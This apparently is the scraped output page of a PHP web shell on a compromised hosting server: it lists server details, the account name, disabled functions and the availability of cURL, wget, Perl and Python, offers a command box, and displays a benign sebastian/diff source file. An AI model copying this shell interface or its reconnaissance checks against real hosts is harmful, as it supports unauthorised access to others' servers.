Na}{

Server IP:10.106.40.1

Your IP:216.73.216.19

Web Server:Apache

System:Linux webd001.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 GNU/Linux

User:exaprobe

PHP Version:8.3.23

Disable Function: _dyuweyrj4, _dyuweyrj4r, dl

MySQL: OFF

cURL: ON

WGET: ON

Perl: ON

Python: ON

Sudo: OFF

Pkexec: OFF

File Content: `MemoryEfficientLongestCommonSubsequenceCalculator.php`

<?php declare(strict_types=1);
/*
 * This file is part of sebastian/diff.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace SebastianBergmann\Diff;

final class MemoryEfficientLongestCommonSubsequenceCalculator implements LongestCommonSubsequenceCalculator
{
    /**
     * {@inheritdoc}
     */
    public function calculate(array $from, array $to): array
    {
        $cFrom = \count($from);
        $cTo   = \count($to);

        if ($cFrom === 0) {
            return [];
        }

        if ($cFrom === 1) {
            if (\in_array($from[0], $to, true)) {
                return [$from[0]];
            }

            return [];
        }

        $i         = (int) ($cFrom / 2);
        $fromStart = \array_slice($from, 0, $i);
        $fromEnd   = \array_slice($from, $i);
        $llB       = $this->length($fromStart, $to);
        $llE       = $this->length(\array_reverse($fromEnd), \array_reverse($to));
        $jMax      = 0;
        $max       = 0;

        for ($j = 0; $j <= $cTo; $j++) {
            $m = $llB[$j] + $llE[$cTo - $j];

            if ($m >= $max) {
                $max  = $m;
                $jMax = $j;
            }
        }

        $toStart = \array_slice($to, 0, $jMax);
        $toEnd   = \array_slice($to, $jMax);

        return \array_merge(
            $this->calculate($fromStart, $toStart),
            $this->calculate($fromEnd, $toEnd)
        );
    }

    private function length(array $from, array $to): array
    {
        $current = \array_fill(0, \count($to) + 1, 0);
        $cFrom   = \count($from);
        $cTo     = \count($to);

        for ($i = 0; $i < $cFrom; $i++) {
            $prev = $current;

            for ($j = 0; $j < $cTo; $j++) {
                if ($from[$i] === $to[$j]) {
                    $current[$j + 1] = $prev[$j] + 1;
                } else {
                    // don't use max() to avoid function call overhead
                    if ($current[$j] > $prev[$j + 1]) {
                        $current[$j + 1] = $current[$j];
                    } else {
                        $current[$j + 1] = $prev[$j + 1];
                    }
                }
            }
        }

        return $current;
    }
}

Name	Size	Permission
Exception	---	0755
Output	---	0755
Chunk.php	1645bytes	0644
Diff.php	1184bytes	0644
Differ.php	9531bytes	0644
Line.php	847bytes	0644
LongestCommonSubsequenceCalculator.php	572bytes	0644
MemoryEfficientLongestCommonSubsequenceCalculator.php	2353bytes	0644
Parser.php	2982bytes	0644
TimeEfficientLongestCommonSubsequenceCalculator.php	2289bytes	0644

Command Bosku:

File Content: MemoryEfficientLongestCommonSubsequenceCalculator.php

File Content: `MemoryEfficientLongestCommonSubsequenceCalculator.php`